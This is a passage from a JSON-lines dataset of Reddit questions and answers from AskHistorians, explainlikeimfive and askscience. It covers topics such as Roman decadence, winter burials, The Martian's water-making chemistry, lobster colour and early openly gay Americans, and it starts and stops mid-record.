[], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2g0meo", "title": "Why is Rome considered decadent and debauched? When did the public begin to think of Rome as 'sinful' and associated with excess? More questions in text.", "selftext": "I was asked by a mod to submit this as a separate question.\n\nThere is a lot of misinformation, even from contemporary sources, about just went on in Ancient Rome. \n\nIt seems difficult to talk about Rome without stumbling across descriptions of orgies and horrendous banquets where people ate animals stuffed with all manner of things, that give a view of a wanton society with no morals. But was it really as bad as all that?  \n\nOf course it wasn't actually that way. Or was it? Did the Victorians put their own moralizing twist on Roman society like they did on knights? How would the personal life/sex life of an average Roman compare to the picture we have today- centered on the aristocracy, and assuming that anything goes?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2g0meo/why_is_rome_considered_decadent_and_debauched/", "answers": {"a_id": ["ckehvne", "ckej38n", "ckenw1b"], "score": [161, 57, 10], "text": ["Repost from the other thread:\n\nIt's a moralist's answer to the question 'Why Rome fell?' Because it became decadent, of course. The argument is that as soon as loose sexual morals enter the society, it led to their downfall. While glossing over the fact that hundreds of years of killing, burning, raping and pillaging that their armies got off to isn't what we would call moral, and that the last really debauched emperor was probably Elagabalus, 200+ years before what we call the fall of the Western Roman Empire.\n\nThe idea is disputed by pretty much every historian but it's strong in the popular imagination. The whole point of the tale isn't to be factually correct anyway, it's to provide a basis for transplanting the idea of 'loose sexual morals lead to downfall of society' into the historical context to give it justification.\n\nYou can see it in a lot of depictions of ancient Rome, from the movie Satyricon, the book on my shelf titled 'Sex life of the Roman Emperors' (which is what happens when you tell your mates you're interested in Roman history) to HBO's series Rome. ", "Now on the question of Roman virtue:\n\nThere was certainly an expectation of public morality in polite society. Roman writers often lamented the loss of morals in society, Hellenization corrupting the good Roman people, and so on.  \n\nThe concept of dignitas was a very powerful one.  It's most easily explained as a combination of dignity, public reputation, and a person's good name, and they took it very seriously.  There certainly would be strong societal control of sexual norms, especially of women (\"Caesar's wife must be beyond suspicion\"), as is usually the case in patriarchal societies.  Atia Balba Caesonia, mother of Augustus, was seen as one of the examples of virtuous Roman matrons, and Tacitus says this of her:\n\"In her presence no baseness could be prosecuted or poorly-educated attitude made without it considered a serious offense. Governed by religion and your life with the utmost delicacy involved not only in their affairs as their juvenile entertainment and games.\"  \nMen sleeping around with other women certainly wasn't condemned in society(EDIT: correction, as long as it wasn't married women or unmarried daughters), and Caesar, for instance, used this to make cuckolds out of his political opponents (EDIT: well, more precisely, he did it publicly despite the fact that it broke social norms, much like his public bribery).\n\nHowever, public morals is one thing, and what went on behind closed doors another.  It's hard to believe that all of them were as upright behind closed doors.  \n\nFrom what we know of Roman people in general:  that they enjoyed gladiator fights, chariot races and rather vulgar form of theater (in which women weren't allowed for a long time because it was thought to be inappropriate), and the abundance of vulgar graffiti, that it's hard to believe that the aristocracy was so refined and so different from regular people anywhere except in their minds.\n\nWe certainly know the example of Sulla, who when he retired brought his long-time male lover with him and made no secret of it.  He certainly did make secret of it before he became dictator, because something like that would have killed his chances of ever climbing the political ladder by the moral standards of the day.  So the expectations of public morals were a very present force, but there was certainly room for getting away with a lot as long as you kept up pretenses.  The existence of slaves in society must have made it even easier to get away with a lot on victims that had nowhere to run. \n\nSome of the graffiti from Pompeii, by the way, is just fascinatingly vulgar:\n\n\"(Bar/Brothel of Innulus and Papilio) Weep, you girls.  My penis has given you up.  Now it penetrates men\u2019s behinds.  Goodbye, wondrous femininity!\"\n\n(peristyle of the Tavern of Verecundus) Restitutus says: \u201cRestituta, take off your tunic, please, and show us your hairy privates\u201d.\n\n(Bar of Athictus; right of the door) I screwed the barmaid\n\n(on the wall in the street) \"Theophilus, don\u2019t perform oral sex on girls against the city wall like a dog\" \n\nSo in conclusion, yes, their society was what we would consider quite vulgar and brutal, but no, this has nothing to do with the collapse of their society, because it was like that at the time of their greatest power. \n\nEDIT: edited to make it more coherent\n\nEDIT2: fixed some errors\n", "Also repost (and elaboration) of my post from the other thread. Specifically regarding the alleged sadism and perceived moral degeneracy and corruption of some Roman emperors - for example Caligula whom you mentioned - which probably also contributes a fair bit to this notion of Roman debauchery. \n\nNow it's not entirely sure to what extent these emperors *really* were so corrupt, but I do know for example that Diocletian, who was a fairly successful emperor (especially compared to his predecessors from the mid 3rd century) was strongly vilified and his negative traits exaggerated (especially in contrast with emperor Constantine who made Christianity the state religion) by Christian writers later on because he was the last emperor to really persecute Christians.  \n*[src: How Rome Fell: Death of a Superpower by Adrian Goldsworthy]*\n\nThen there are also historians like Tacitus who somewhat glorified the idea of a 'noble savage' in the areas beyond the frontiers of the Roman Empire in his book *Germania* (and I think also *Agricola*) as a means of providing contrast with what he considered to be the moral corruption of Roman society.\n\nEarlier writers could similarly very well have had political motivations (which are a no-go if you want something resembling objective historiography) of some sort or another when writing about the decadence and corruption of Roman society and emperors like Caligula for example but I can't vouch for this - it might as well be that these reports are true to a considerable degree."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7zje1h", "title": "why do products with versions that have added ingredients (like calcium, vitamin c or vitamin d) cost the same as their \"unenhanced\" versions?", "selftext": "Shouldn't the fact that there are additional ingredients raise the cost?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7zje1h/eli5_why_do_products_with_versions_that_have/", "answers": {"a_id": ["duofurk", "duohyfw", "duohzsa", "duoyc80"], "score": [6, 22, 4, 2], "text": ["Although those ingredients may cost a little bit more, that cost is usually not significant enough to pass on in the sales price. Take Vitamin C, let's assume that it costs $15/kg. For a daily dose, you have to add 60 mg, ie 0.00006kg. The added cost is $ 0.0009. That's not something you're going to lose sleep over.", "The added ingredient costs very little.  The only reason they have the \"unenhanced\" version is that some Moms want to raise their children \"all natural\".  They don't seem to recall that vitamin D deficiency used to be a natural thing that crippled kids.", "When you scale an industrial manufacturing process the added cost is not much compared to the increased sales you gain from offering a complete product line.", "The price of a thing has nothing to do with the cost of a thing.  The price is simply what people are willing to pay for it.  The cost is how much money is spent to make a thing.  For example, a can of soda pop probably costs around ten cents to make.  However, it has a price of $1.50 because that's what people are willing to pay for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bkovib", "title": "how do places with long periods of deep snow keep their cemeteries in order for funerals?", "selftext": "I'd imagine they need to keep the snow at least below headstone level so they know where each plot is. So how do they do it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bkovib/eli5_how_do_places_with_long_periods_of_deep_snow/", "answers": {"a_id": ["emictlb", "emid4kk", "emigf8h", "emildvy"], "score": [6, 3, 3, 9], "text": ["Both of my grandparents are buried in Maine, both died in February. The mortuary had to hold the bodies until the spring thaw.\n\nAs far as just maintaining the cemetery for visitors, it was routinely plowed.", "A lot of places just don't do burials until the snow clears. In the spring at my local cemetery they do a bunch of burials as soy as the snow is gone and they use a metal cover with a fire going under it to thaw the ground. I live in a smallish town so it might be different elswere.", "My grandpa died in December in the Midwest. There was snow. They dug his grave with a digger. So it\u2019s not ALL places.", "Norwegian here.\n\nUsually you just dig through the frozen ground as I understand it. It's harder, but possible. Sometimes the ground is thawed/defrosted for burial using a heating \"lid\"\n\nNorwegian news link about thawing _URL_0_\n\n\nAlso, frost moves things. Sometimes leading to skulls and bones being pushed up through the ground during thawing season.\n\nEdit: i think the aricle here has a picture of a heater _URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.nrk.no/ostfold/ma-tine-opp-jorda-for-begravelser-1.6933168", "https://www.nrk.no/hordaland/ikke-lett-a-vaere-graver-om-dagen-1.6944202"]]}
{"q_id": "1rnsca", "title": "Indian Reorganization Act (America)", "selftext": "Did any of the five civilized tribes in the 1930s such as the Cherokee elect against the indian reorganization act because they had become so civilized they did not want to return to being a native?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rnsca/indian_reorganization_act_america/", "answers": {"a_id": ["cdp7fe2"], "score": [2], "text": ["I think you've grossly misinterpreted the IRA and what it means to be \"civilized\" and Native. The Five Civilized Tribes were never *not* considered Native, but were called \"civilized\" because they adopted aspects of European culture such as private property ownership, Christianity, and chattel slavery. \n\n >  they had become so civilized they did not want to return to being a native?\n\nI'm not sure what you mean by this. The IRA was not a vote on whether or not Indians would still exist, but rather an overhaul of how the federal government and Indian tribes (which are recognized as domestic dependent nations) interact.  Also, this question insinuates that Natives are inherently *not* civilized, which is a pretty insulting, racist thing to say."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "kqigz", "title": "ventriloquism", "selftext": "How does one train to throw their voice? How long does it take to master? And how does that work acoustically? It might as well be black magic to me. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kqigz/eli5_ventriloquism/", "answers": {"a_id": ["c2mdb08", "c2mdb08"], "score": [2, 2], "text": ["\"Throwing your voice\" is an auditory illusion. You simply do not move your lips when you talk (make sound) and move the mouth of the dummy. The brain uses the visual clue of the moving mouth and interprets the sound as coming from that source. No magic, just a sensory illusion.", "\"Throwing your voice\" is an auditory illusion. You simply do not move your lips when you talk (make sound) and move the mouth of the dummy. The brain uses the visual clue of the moving mouth and interprets the sound as coming from that source. No magic, just a sensory illusion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3p93ua", "title": "When we learn a new language are we learning it differently to how we learn our first language (instead of adding meaning to words, translating words that we already know into the new language)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3p93ua/when_we_learn_a_new_language_are_we_learning_it/", "answers": {"a_id": ["cw4yv1o"], "score": [7], "text": ["While most people around me were studying child language acquisition, I took the road less travelled and studied adult language acquisition (at this point, most scholarly studies in this field are mine, thankyouverymuch).\n\nThe first part of the answer is we all learn differently. And a second (or third or seventh) language is no exception. The second part of the answer is we're *taught* differently.\n\nI've lived several different places, learning the language as I went. Costa Rica, Norway, The Netherlands, Italy, France. And I also taught at a language immersion summer camp where kids and teenagers were shipped off to the middle of the woods where their counselors all spoke the target language. Something strange happened with those kids, and eventually with me when I went and studied art conservation in Italy. We got *tired*. Really tired. It was a summer camp, a couple dozen excitable kids packed into bunk beds and I thought it would be a chore getting them to be quiet after lights out. What I found was that ten minutes before lights out, at least half of them were sound asleep. I turned the lights out, a few silent whispers for a couple minutes, and then silence.\n\nFast forward a couple years, I was a 20 year old with grant and scholarship money living in Florence. What happened at 10 PM on a Friday night? I put on my sexiest outfit, mixed myself a martini, sat on the couch, and woke up eight hours later after a good night's sleep.\n\nWhy? Because our brains work overtime. We're identifying patterns, picking out phrases and filling in the rest from context. The same thing we do all the time, but this time it's *constant* and *necessary*. It's like the graphics card in your computer\u2014 it's powering the monitor and GUI, doing the usual, what it can do easily\u2014 and then you fire up Crysis 3 with maxed out settings and you realize your computer fan is going full blast. When you speak your native language, you don't hear or even recognize everything said to you, but you understand it. With a new language, you're running Crysis 3 with maxed out settings.\n\nThat's assuming, however, that you're learning Italian in Italy. You start out translating, but eventually you know enough to start listening in. As you listen in, you stop translating and start *extrapolating*. Like a kid. Tell a child, \"Someday you'll be a great astronaut, but for now you don't have the wherewithal to go into space.\" Does that child know what 'wherewithal' means? No, but they know what you're saying.\n\nAs part of my research, I asked Americans with minimal, societal knowledge of Spanish to translate the phrase, \"*Me gusta gargarizar con leche.*\" They'd tell me they don't know any Spanish, but yet most of them asked the same question: \"What does *gargarizar* mean?\" Not only did they figure out the rest of the sentence (some didn't know *leche*, however), but they knew *gargarizar* was one word. A good portion of *them* knew that it was a verb.\n\nNow let's say a German student takes a first year Japanese class in grade school. They're translating, yes. But after, say, a year, the usual stuff (\"Hello\", \"Quiet\", \"How are you?\", etc.) are no longer translated. As a kid, we do this naturally because we have to. As adults, we're much more reluctant to take a new language at face value\u2014 we have to pick it apart. But it's not a bad thing, we're not doing anything wrong, it's actually quicker and easier to learn the ol' \"Repeat after me\" way since our brains have been set in one language for a very long time. We can't start fresh, having your mom point to herself and say, \"Mom\" and starting from there.\n\nSo yes, we learn differently. At first. But at some point if we want to become fluent, we have to go back to kid-mode and just figure out with brute brain force."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "138huy", "title": "who are hamas? what do they believe in and what are their long term objectives?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/138huy/eli5_who_are_hamas_what_do_they_believe_in_and/", "answers": {"a_id": ["c71rswd"], "score": [3], "text": ["Hamas is an Islamic-fundamentalist political party that came into existence as a rival to the more secularized Palestinian Liberation Organization (PLO) in 1987. \n\nAt its inception Hamas was not militarized, and as a result they were allowed to organize without intervention from Israel because they were seen as an alternative to Yasser Arafat (the leader of the PLO). This ended in 1989 with Hamas' armed involvement in the First Intifada, which was a Palestinian uprising in response to Israeli occupation in the Palestinian Territories.\n\nSince that time, Hamas has engaged in many terrorist attacks on civilians in a response to the Israel's existence. They gained political power in 2007 from the Palestinian Parliament and currently control the Gaza portion of the Palestinian Territories. The short term objective is to gain control of the remaining West Bank and establish these territories as a recognized nation. The long term objective is to battle for control of all of current Israel.\n\nCurrently, Europe, the U.S. and Israel consider Hamas to be a terrorist organization while most Arabic nations do not.\n\nThis is very simplified, and I placed emphasis in some areas while not delving into particulars in others to paint the picture."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1nxepy", "title": "What is the origin of the Adam  &  Eve story, and what is its historical importance/value.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1nxepy/what_is_the_origin_of_the_adam_eve_story_and_what/", "answers": {"a_id": ["ccn0mm5", "ccn3x2b"], "score": [10, 7], "text": ["I think your questions are far too broad. You might be able to get more expertise if you narrow things down a bit.\n\nThe [Adam and Eve myth](_URL_0_) also concerns the Garden of Eden and the Fruit of Knowledge which in and of themselves contain complex origins, and come from multiple cultural backgrounds. Even within particular Abrahamic traditions, depictions of Adam and Eve vary greatly. It is really impossible to answer your question without a narrowing of its scope.", "Check out this online course that digs deep into the historical context of the Hebrew Bible (old testament) You should be able to find the info you are after. The professor lecturing in this online course is one of the top scholars in the field.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Adam_and_Eve"], ["http://oyc.yale.edu/religious-studies/rlst-145#sessions"]]}
{"q_id": "dyx9nj", "title": "Where to get access to old laws?", "selftext": "Not sure if this is the right place to post this. I am an undergrad student and currently working on a project concerning Tennessee's old sodomy laws, do y'all know where I could find this? Thanks.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dyx9nj/where_to_get_access_to_old_laws/", "answers": {"a_id": ["f845if4"], "score": [5], "text": ["So when searching for \"old\" state statutes, you need to first know whether it is still in the state's statutory code. There are plenty of \"old\" criminal statutes that remain in state codes even though they are not enforced. If they are still in the code, it is likely that they have not been repealed (and thus taken out of the code) due to a lack of A) sufficient legislative will, or B) a court opinion finding the statue unconstitutional. If the statute is still in the code, then you can easily find it there (most, if not all, states publish their current statutory codes online and you can Google \"Tennessee Code\" to find access the one for Tennessee).\n\nHere, you will NOT be able to find the statute you are looking for this way because, in 1996, the Tennessee Court of Appeals found it unconstitutional. It was the Homosexual Practices Act, Tenn. Code Ann. \u00a7 39-13-510 (1991). I can only locate direct access to the statute as it was before abrogation in a paid legal search engine. However, it appears that the relevant portion of the statute for your purposes is directly quoted in the case that found it unconstitutional, [CAMPBELL v. SUNDQUIST, 926 S.W.2d 250 (Tenn. Ct. App. 1996)](_URL_0_). The statute is quoted at the end of the opinion's (long) introduction, just before section 1. Some of the case deals with other things, but the portion on the HPA is interesting. Overruling sodomy statutes due to privacy rights seems to be a typical approach for state abrogation of these laws."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.leagle.com/decision/19961176926sw2d25011173"]]}
{"q_id": "3o1q09", "title": "In The Martian, mark watley explains how to make water. Is the process he explained in the movie an actual way to make water?", "selftext": "Edit - I dont why i commented on my own post.\n Thank you all for all of the answers and explanations. Very interesting. So many smart people on reddit. \nIf anyone else stumbles on this post and wants to put in their two scientific cents id appreciate it.\n\nAlso thanks to /u/rupert1920 for the first and pretty in-depth answer", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o1q09/in_the_martian_mark_watley_explains_how_to_make/", "answers": {"a_id": ["cvtaiul", "cvtiljb", "cvtvg04", "cvu1lp9"], "score": [320, 21, 10, 2], "text": ["Yes, it is.\n\n[Hydrazine](_URL_2_) is a common monopropellant used for maneuvering spacecraft. The decomposition reaction in the presence of a catalyst can be found in the [subsection of the Wikipedia article](_URL_1_) - note the final products are molecular nitrogen and hydrogen gas. Hydrogen gas [undergoes combustion](_URL_0_) to create water, which is exactly what's depicted in the movie.", "On a related note, when he was talking about the mistake that caused the explosion, he mentions he forgot to take into account the oxygen that he breathes out (not in). Do we actually breathe out a little oxygen that doesn't get absorbed or is this a mistake?", "There is a big error in this section of the book that I am surprised hasn't been mentioned here. He says that 1 L of hydrazine should make 2 L of water since each hydrazine molecule that is burned make 2 molecules of water. The second part of this statement is right, but the first part is totally wrong. Hydrazine has a molecular weight which is about twice that of water and the mass densities are approximately the same, so burning one liter of hydrazine, even with perfect combustion would only make about 1.1 L of water. Not sure if this miscalculation is enough to kill him.\n\nSource: _URL_0_", "I'm not completely sure about the movie, but the vast majority of the book is fairly accurate. He did it as a web novel at first, so he made corrections if people pointed them out. \n\nI think during an interview with Adam Savage he said the biggest mistake he knew of in the book was the time frame of making water, as it would have made it too hot. The simple solution being just doing it over a longer period of time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hydrogen#Combustion", "https://en.wikipedia.org/wiki/Hydrazine#Rocket_fuel", "https://en.wikipedia.org/wiki/Hydrazine"], [], ["https://www.wolframalpha.com/input/?i=%281+L+of+hydrazine+in+mol+*+2%29+mol+of+water+in+L"], []]}
{"q_id": "3mklcv", "title": "Do black holes create a rip in space time?", "selftext": "I know that black holes curve space time around them but wouldn't that mean that eventually light could escape?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3mklcv/do_black_holes_create_a_rip_in_space_time/", "answers": {"a_id": ["cvfry6i", "cvfwuvs"], "score": [11, 3], "text": ["I don't think *rip* is the right word for it. Rather, scientists use the word *singularity.*\n\nSpacetime in general relativity (the theory of gravity which predicts black holes) likes to be *continuous.* Without a lot of technical math, that means that things are smooth and connected. Surfaces can be curved or warped quite severely, but it still means that every line you draw is going to be nice and smooth and not jagged or broken. \n\nBlack holes fuck this up. You might be familiar with [this depiction](_URL_0_) describing the curvature of spacetime around a massive object. It's a projection - it's taking a 4 dimensional surface and projecting it down to 2D so that you can more easily visualize the curvature. All masses contribute to the curvature of space a little bit, and give you that sort of *lumpiness* around massive objects, which is equivalent to their gravitational field. \n\nFor black holes, that mass is compressed to a point - *a singularity.* Around a black hole the curvature goes infinite, so that I figure I linked to isn't right - it would need the picture of that black hole to extend off to infinite. Why is this a problem? Because it means black holes are a cusp or crimp in spacetime. A theory where we said everything needed to be continuous suddenly has something similar to a divide by zero error in it, and that's not good.\n\n\n\n", "If they just curved space light could escape, but they curve space time. They do it in such a way that a path that stays the same distance from the center and only varies on the time coordinate is a path that moves faster than light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://ngm.nationalgeographic.com/2014/03/black-holes/img/black-hole-grids-graphic.svg"], []]}
{"q_id": "5eoulc", "title": "salt water injected before sedatives", "selftext": "So, I went to get all four of my wisdom teeth removed yesterday, and just before the nurse injected me with the sedatives, she said that she was pumping salt water through my arm first. Does anyone know why she did that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5eoulc/eli5_salt_water_injected_before_sedatives/", "answers": {"a_id": ["dae0nuc", "dae2nfz", "dae9kp4"], "score": [118, 5, 3], "text": ["Anytime an IV is started the first thing that gets pushed through it is normal saline - the salt water in question - to \"test\" the vein and IV. If for some reason the vein blows, or the IV site isn't patent (won't flow correctly) a little bit of salt water in your arm won't make a hill of beans in the long run, but a medication that's outside the vein at very least isn't getting circulated through your system and at worst can do some really serious tissue damage.", "Normal saline, or 0.9% NaCl is a common used fluid in medicine as it is the same concentration of sodium and chloride ions in the blood. ", "They pushed saline through to test the line...some meds will cause necrosis (tissue death) if the line is infiltrated (not in the vein properly). \n\nThe saline will bulge up and cause a firm spot if infiltrated but will not damage the surrounding tissue"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "35le5s", "title": "Molotov Ribbentrop, Could it result in Full Alliance ? What would consequnce of such alliance ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35le5s/molotov_ribbentrop_could_it_result_in_full/", "answers": {"a_id": ["cr5ik7u"], "score": [2], "text": ["This is a what-if question, so this may not be the best place for this sort of question.  However, the chance of the USSR allying with the Nazis is zero, simply because it was so deeply engrossed in Nazi doctrine that the Soviet Union-or at least, European Russia-needed to be conquered by Germany.  That's not to say that there wasn't any rhetoric-there were serious talks about letting the Soviets into the pact, with at one point Hitler telling Molotov, Stalin's foreign minister, that the two would form an alliance against the capitalist West-but it was all bullshit and smoke and mirrors, with Hitler continuing preparations for an invasion of Russia nonetheless.  In addition, the Japanese would also likely pull out of the alliance-the Japanese were already furious by the Molotov-Ribbentrop pact as they considered it a German betrayal of the 1936 Anti-Comintern pact, and had reached out to Polish intelligence to cooperate.  Japanese fears of communism were, to put it mildly, to the point of paranoia, so it seems unfeasible that while a non-aggression pact-as what happened-would not be out of the question, a full-blown alliance with the communists would not be taken well by the ruling party or the military.\n\nIt's also unlikely that the Soviets would have stayed put, either.  Estimates were that Soviet military strength would eclipse Germany's within two or three years.  Stalin also had strong interests in the Balkans, which conflicted with those of Germany.  In all likelihood even if Germany had abided by the Non-Aggression Pact, the Soviets would have invaded anyways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "vugb5", "title": "Do light colored eyes get lighter after being exposed to only darkness for an extended period of time? ", "selftext": "My friend with blue eyes got into a bike accident recently, and one of his eyes was closed shut for about 2 weeks or so.  When it finally started to open, it appeared that the eye that had been shut seemed a lighter blue color than the other eye.  Was I imagining this, or do people's irises lighten and darken from sun/light exposure?       ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vugb5/do_light_colored_eyes_get_lighter_after_being/", "answers": {"a_id": ["c57rz6q"], "score": [27], "text": ["Sources people:\n\n[Eye color is a polygenic phenotypic character and is determined by 2 distinct factors: the pigmentation of the eye's iris and the frequency-dependence of the scattering of light by the turbid medium in the stroma of the iris.](_URL_1_)\n\nIn 5 year-old terms this means eye color is determined by melanin in the iris and how the iris is structured to reflect color back out.  The very back of the iris (the iris pigment epithelium) is actually black because it's so dense with melanin.\n\nNow for your question, [the eye can change color through a decrease/increase in melanin in the iris in the stroma \\(as far as I know the epithelium doesn't change\\), either as someone grows older or due to disease or medication:](_URL_0_)\n\n > Some people have noted that when they are ill or under stress that their eye color bec\nomes darker or lighter. Clearly there has been a change in the distribution and/or density of melanin or lipofuscin on the iris. How this actually occurs is not fully understood, but we are beginning to have some clues as to the processes. A recent medication used to treat glaucoma, latanoprost, causes such a color change. We understand, at least partially, the mechanism of action of the drug, a prostaglandin analog, which means it mimics this hormone, which is normally present in the body. It would appear, then that hormones may have effect iris pigmentation and this might explain the change in eye color sometimes seen in adults. It should be mentioned that there are certain specific systemic and eye diseases that can cause a change in iris color and any marked change of short period of time requires prompt medical attention.\n\nMore than likely your friend may have eye color changes through medication or the physical trauma of whatever had happened to his eye."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.eyecarecontacts.com/eyecolor.html", "https://en.wikipedia.org/wiki/Eye_color"]]}
{"q_id": "21ewc7", "title": "Gender Relations among 17th-century Algonquin", "selftext": "The movie [*Black Robe*](_URL_0_) depicts French and Native American interaction in the Great Lakes region. In it, the Algonquin society is portrayed as more egalitarian than the French: Algonquin women are not under close sexual control, they appear to have a kind of social equality so that they make speak their minds freely, and they are not obviously discriminated against. The French, on the other hand, have no women in their settlement, and indeed seem to hardly have women at all, only a few appearing in one character's dreams. \n\nDespite the superficial equality shown in Algonquin women, however, the movie depicts a more implicit patriarchy: the men make all the important decisions, the men are the only ones who deal with the French in political decisions, and the men seem to be the real leaders of the groups.\n\nIs this accurate? What were gender relations like among the 17th-century Algonquin, or other culturally similar groups?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/21ewc7/gender_relations_among_17thcentury_algonquin/", "answers": {"a_id": ["cgcgwsm"], "score": [8], "text": ["Though the characters are fictional, *Black Robe* is based on a novel by the same name, which in turn is based on the *Jesuit Relations.* Unfortunately, the greatly abridged copy of the *Relations* that I have on hand at the moment, focuses mainly on the Innu and the Wendat (the Montagnais and the Huron, respectively) rather than the Algonquin. The Innu are close cultural cousins of the Algonquin, so we'll have to file this answer under \"culturally similar group.\" (It helps that some of the incidents incorporated in the film are actually based on events that happened with Jesuits among the Innu--such as Paul le Jeune's poorly planned winter journey)\n\nA major issue in this film is that we primarily see the Native characters in a limited number of circumstances. Namely, the Algonquins are traveling between two foreign powers--the French colony at Quebec and the Wendat villages in Wendake. Trade and travel were arenas where men served as spokespersons and leaders. The women likely would be consulted in private, but since the French weren't bring any women to any trade negotiations, it would been seen as improper for women to speak at a de facto men's council. \n\nIn the film we didn't get a chance to see the arenas where women would have held power (or rather the fact that women were making the decisions wasn't something highlighted in the film). Women choose where specificallly to build campsites (though one of the hunters / men usually led the way to a general area were hunting seemed promising) and how to distribute the products of the band's labor. Le Jeune recounts a particular incident in which an Innu woman was being less than frugal with the band's reserves of food, even then none of the men argued with her about her potentially ill-advised (in le Jeune's estimation) generosity. It was her right to distribute the food as she pleased, and it was not the men's place countermand her."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=ns-lEr116z0"], "answers_urls": [[]]}
{"q_id": "4opxn3", "title": "why are blue lobsters so rare? wouldn't a color that is closer to the dark ocean be an advantage?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4opxn3/eli5_why_are_blue_lobsters_so_rare_wouldnt_a/", "answers": {"a_id": ["d4elats", "d4elcpx", "d4elnxy", "d4erpow", "d4esdjm", "d4evo9l"], "score": [28, 297, 5, 4, 4, 9], "text": ["The ocean floor isn't blue. It's mottled greens and browns and greys etc. the lobster spends its time on the ocean floor so it wants to blend with that, not the water. ", "Their rarity suggests that their predators have not given blue lobsters an advantage in survival. As for their color, there are many species of lobsters all over the world with different color patterns, most tend to be a mix of reds, browns and greens. \n\nBeing red is actually advantage for many deep water creatures, because after about 5-10 meters underwater, most of the red light from the sun has been absorbed already by the water. Blue light penetrates down to about 60 meters. \n\nSo being mostly red is an advantage.\n\nSee also: _URL_0_\n\n", "Red light does not penetrate water as well as other wavelegnths of light from the visible spectrum.  \n\nAlso note, they redden when cooked, and are usually (but not always) a brownish color.\n\n_URL_0_", "I'm from a small fishing community in northern Canada and all the live lobsters we catch are a very very dark brown... which, like another user has said, is much better suited to camouflage on the ocean floor than say red or bright blue.\n\nPretty much just like this:\n\n_URL_0_\n", "Well, lobsters typical color is pretty [dark and blends with the ocean.](_URL_1_)\n\nPerhaps you are thinking of [cooked Lobsters](_URL_0_), whose color has changed to a rich red/Orange color?\n\nEdit spelling.", "Don't forget that what we see of a lobster is not necessarily what it's predators see. \n\nFor example the rather extraordinary mantis shrimp is believed to have a range of colour vision that other creatures couldn't even begin to understand. So it's worth thinking that body colour isn't everything as predators operate a range of senses and in some cases vastly superior to humans. \n\nAdditionally when lobsters and other arthropod shed their exoskeleton they can come out as a new colour to more closely match their environment. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/askscience/comments/1c9o89/why_is_it_that_when_underwater_you_lose_red_light/"], ["http://webspace.webring.com/people/gk/k_o_dionysus/scuba/uw_photo/depth.jpg"], ["https://tenchi77.files.wordpress.com/2008/11/lobster.jpg"], ["http://cdn.legalseafoods.com/images/uploads/Lobster-Chowder-Bacon-Wrapped-Scallops.jpg", "http://www.simplylobsters.com/v/vspfiles/assets/images/istock_000004720195small.jpg"], ["https://en.wikipedia.org/wiki/Mantis_shrimp"]]}
{"q_id": "1kamvw", "title": "Who was the first famous gay person in the United States that the general public knew was gay?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kamvw/who_was_the_first_famous_gay_person_in_the_united/", "answers": {"a_id": ["cbn0ex3", "cbn1uaz", "cbn5jcz", "cbn7ruk", "cbn7y3n"], "score": [56, 35, 57, 9, 5], "text": ["\"The general public knew was gay\" is a vague statement- do you mean who publicly came out?  I can't absolutely guarantee he was first, but actor Billy Haines was outed after an arrest in the 1930's (for indecent behavior with a man), and refused to deny his sexuality, to the point of losing his MGM contract over it.", "Walt Whitman was censured for writing \"indecent poetry\" and lost his government job in 1865. The poems included [the \"Calamus\" group](_URL_0_), with lines like: \n\n >  Resolv'd to sing no songs to-day but those of manly attachment,\n\n >  Projecting them along that substantial life,\n\n >  Bequeathing hence types of athletic love,\n\n >  Afternoon this delicious Ninth-month in my forty-first year,\n\n >  I proceed for all who are or have been young men,\n\n >  To tell the secret of my nights and days,\n\n >  To celebrate the need of comrades.\n\nand\n\n >  To me these and the like of these are curiously answer'd by my \n\n >           lovers, my dear friends, \n\n >  When he whom I love travels with me or sits a long while holding \n\n >           me by the hand, \n\n >  